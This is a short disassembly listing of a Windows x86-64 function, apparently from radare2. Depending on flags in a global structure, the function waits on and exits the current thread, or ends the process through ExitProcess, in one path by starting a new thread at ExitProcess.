sub rsp, 0x38
mov rax, qword [0x14005c350]
cmp word [rax + 0x370], 1
jne 0x140004dd5
cmp word [rax + 0x378], 1
jne 0x140004dd5
mov ecx, 0x27
call fcn.14000cf60
cmp ax, 1
jne 0x140004dcc
nop
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov edx, 0x3e8
mov r8d, 1
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_WaitForSingleObjectEx]
jmp 0x140004db0
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ExitThread]
cmp word [rax + 0x270], 1
jne 0x140004e1b
cmp word [rax + 0x278], 1
jne 0x140004e1b
mov r8, qword [sym.imp.KERNEL32.dll_ExitProcess]
xor eax, eax
mov qword [rsp + 0x28], rax
xor r9d, r9d
xor edx, edx
mov dword [rsp + 0x20], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rcx, rax
mov edx, 0xffffffff
add rsp, 0x38
jmp qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ExitProcess]